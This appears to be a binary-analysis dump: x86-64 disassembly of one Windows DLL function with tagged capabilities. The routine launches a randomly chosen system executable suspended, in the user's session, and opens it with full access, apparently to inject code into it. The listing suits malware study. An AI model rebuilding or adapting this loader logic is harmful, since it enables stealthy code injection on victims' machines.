Function at 0x180004fb0
Capabilities:
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create process suspended
Get common file path
Set current directory
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
mov qword [rsp + 0x110], 0xfffffffffffffffe
mov qword [rsp + 0x1e8], rbx
mov rbx, r8
mov dword [rsp + 0xb8], edx
mov r15, rcx
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x78], rax
xor r12d, r12d
or rsi, 0xffffffffffffffff
test rbx, rbx
je 0x180005049
test rbx, 0xffffffffffff0000
jne 0x180005036
movzx edi, bx
xor edx, edx
mov ecx, edi
call fcn.180004180
test rax, rax
je 0x18000505d
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.1800030d0
jmp 0x18000505d
xor eax, eax
mov rcx, rsi
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
dec rcx
jmp 0x18000504c
mov ecx, r12d
mov r8d, ecx
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.180001570
nop
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x60], rbx
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
mov r14d, r12d
mov qword [rsp + 0xc8], r12
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.Wow64DisableWow64FsRedirection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800050c8
lea rcx, [rsp + 0xc8]
call rax
mov rax, qword [rsp + 0x68]
mov edx, 1
sub edx, dword [rax - 8]
mov ecx, dword [rax - 0xc]
sub ecx, 0x104
or ecx, edx
jge 0x1800050f1
mov edx, 0x104
lea rcx, [rsp + 0x68]
call fcn.180001770
mov edx, 0x104
mov rdi, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
call fcn.180014308
test eax, eax
js 0x180005aea
cmp eax, dword [rdi - 0xc]
jg 0x180005aea
mov dword [rdi - 0x10], eax
cdqe
mov word [rdi + rax*2], r12w
mov ecx, 8
call fcn.180014328
test rax, rax
je 0x180005147
lea rcx, [rsp + 0x88]
mov qword [rax], rcx
jmp 0x18000514a
mov rax, r12
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], r12
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x68]
call fcn.180004a50
test eax, eax
jne 0x180005250
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, str._esys
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, str._esys
lea rcx, [0x18003c8d0]
call fcn.180002fc0
nop
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
je 0x180005226
mov rbx, qword [rsp + 0xa8]
cmp rdi, rbx
je 0x18000521e
nop
mov rdx, qword [rdi]
sub rdx, 0x18
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000520d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
add rdi, 8
cmp rdi, rbx
jne 0x1800051f0
mov rdi, qword [rsp + 0xa0]
mov rcx, rdi
call fcn.1800135d0
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], r12
mov rcx, qword [rsp + 0x88]
call fcn.1800135d0
jmp 0x180005a5b
mov r13d, r12d
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x1800052a2
cmp dword [rdx + 0x10], 0
jge 0x18000527a
cmp dword [rbx - 0xc], 0
jl 0x180005943
mov dword [rbx - 0x10], r12d
mov word [rbx], r12w
jmp 0x1800052a2
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180005290
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x60], rbx
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x1800052f1
cmp dword [rdx + 0x10], 0
jge 0x1800052c9
cmp dword [rbx - 0xc], 0
jl 0x18000594e
mov dword [rbx - 0x10], r12d
mov word [rbx], r12w
jmp 0x1800052f1
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800052df
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x60], rbx
mov rbp, qword [rsp + 0xa8]
sub rbp, qword [rsp + 0xa0]
sar rbp, 3
test ebp, ebp
jle 0x1800058e1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
call fcn.1800143f8
lea ecx, [rax + rdi]
call fcn.1800143e0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
call fcn.1800143f8
lea ecx, [rax + rdi]
call fcn.1800143e0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
call fcn.1800143f8
lea ecx, [rax + rdi]
call fcn.1800143e0
call fcn.1800143f8
call fcn.1800143f8
call fcn.1800143f8
cdq
idiv ebp
movsxd r12, edx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
mov rbp, qword [rsp + 0xa0]
sub rax, rbp
sar rax, 3
cmp rax, r12
jbe 0x1800059d1
cmp rbp, rcx
jbe 0x18000538e
call fcn.180014258
mov rdi, qword [rsp + 0x88]
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rbp
movaps xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x100], xmm0
test rdi, rdi
jne 0x1800053c6
call fcn.180014258
xor r11d, r11d
jmp 0x1800053c9
mov r11, qword [rdi]
lea rbp, [rbp + r12*8]
cmp rbp, qword [r11 + 0x20]
ja 0x1800053e6
test rdi, rdi
je 0x1800053de
mov rax, qword [rdi]
jmp 0x1800053e0
xor eax, eax
cmp rbp, qword [rax + 0x18]
jae 0x1800053eb
call fcn.180014258
mov rdx, qword [rsp + 0x100]
test rdx, rdx
jne 0x180005405
call fcn.180014258
xor r12d, r12d
mov rdx, r12
jmp 0x18000540b
mov rdx, qword [rdx]
xor r12d, r12d
cmp rbp, qword [rdx + 0x20]
jb 0x180005416
call fcn.180014258
mov rdx, qword [rbp]
lea rcx, [rdx - 0x18]
lea rdi, [rbx - 0x18]
cmp rcx, rdi
je 0x180005474
cmp dword [rdi + 0x10], 0
jl 0x180005461
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x180005461
call fcn.180001660
mov rbx, rax
mov ecx, esi
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x180005456
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
add rbx, 0x18
mov qword [rsp + 0x60], rbx
jmp 0x180005474
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x60]
call fcn.180001570
mov rbx, qword [rsp + 0x60]
mov eax, r12d
cmp dword [rbx - 0x10], 0
setne al
test eax, eax
je 0x1800058e1
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc0], rax
mov r9, rbx
mov r8, qword [rsp + 0x68]
lea rdx, [0x1800296f8]
lea rcx, [rsp + 0xc0]
call fcn.1800018d0
mov rbx, qword [rsp + 0xc0]
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.180014308
test eax, eax
js 0x1800059c6
cmp eax, dword [rbx - 0xc]
jg 0x1800059c6
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], r12w
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180005523
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800058da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x60]
jmp 0x180005931
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], rdx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x120]
call fcn.180014bb0
mov dword [rsp + 0x120], 0x68
mov dword [rsp + 0x70], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x180005587
mov dword [rsp + 0x70], r12d
jmp 0x180005592
cmp dword [rsp + 0x70], 0
jne 0x1800056a4
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, str._in0
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, str._in0
lea rcx, [0x18003c8d0]
call fcn.180002fc0
mov qword [rsp + 0x80], r12
nop word [rax + rax]
lea rdx, str.EXPLORER.EXE
lea rcx, [rsp + 0x80]
call fcn.180004ea0
test eax, eax
jne 0x180005615
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800055f0
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x180005868
lea rax, str.WinSta0Default
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x8000004
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x18002565c]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edi, eax
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x18000573d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x80], r12
jmp 0x18000573d
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, str._in1
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, str._in1
lea rcx, [0x18003c8d0]
call fcn.180002fc0
lea rdx, [rsp + 0xd0]
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18002565c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test edi, edi
je 0x180005868
mov rax, qword [rsp + 0xe0]
test eax, eax
je 0x180005868
mov rcx, qword [rsp + 0x78]
cmp dword [rcx - 8], 1
jle 0x180005775
mov edx, dword [rcx - 0x10]
lea rcx, [rsp + 0x78]
call fcn.1800017d0
mov rax, qword [rsp + 0xe0]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rdi, rdi
je 0x1800057dc
cmp rdi, 0xffffffffffffffff
je 0x1800057dc
mov r8d, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
lea rax, [0x1800297b4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov rdx, r15
mov rcx, rdi
call fcn.18000aeb0
mov r14d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
jne 0x180005959
jmp 0x1800057df
mov r14d, r12d
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, [0x180029864]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180029864]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor edx, edx
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800058da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x60]
jmp 0x180005931
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, [0x180029860]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180029860]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800058da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rsp + 0x60]
jmp 0x180005931
mov rbx, qword [rsp + 0x60]
jmp 0x180005931
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, str._ename
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, str._ename
lea rcx, [0x18003c8d0]
call fcn.180002fc0
inc r13d
cmp r13d, 3
jge 0x1800059d7
jmp 0x180005253
mov ecx, 0x80070057
call fcn.1800019b0
int3
mov ecx, 0x80070057
call fcn.1800019b0
nop
xor eax, eax
mov rcx, rsi
lea rdi, [0x180025518]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180025518]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
xor eax, eax
mov rcx, rsi
lea rdi, [0x180029868]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180029868]
lea rcx, [0x18003c8d0]
call fcn.180002fc0
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800059d7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1800059d7
mov ecx, 0x80070057
call fcn.1800019b0
nop
call fcn.1800091e0
nop
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
je 0x180005a36
mov rbx, qword [rsp + 0xa8]
cmp rdi, rbx
je 0x180005a2e
nop word [rax + rax]
mov rdx, qword [rdi]
sub rdx, 0x18
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180005a1d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
add rdi, 8
cmp rdi, rbx
jne 0x180005a00
mov rdi, qword [rsp + 0xa0]
mov rcx, rdi
call fcn.1800135d0
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], r12
mov rcx, qword [rsp + 0x88]
call fcn.1800135d0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.Wow64RevertWow64FsRedirection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180005a88
mov rcx, qword [rsp + 0xc8]
call rax
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180005aa8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180005ac8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
dec esi
test esi, esi
jg 0x180005ae5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov eax, r14d
jmp 0x180005af5
mov ecx, 0x80070057
call fcn.1800019b0
nop
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret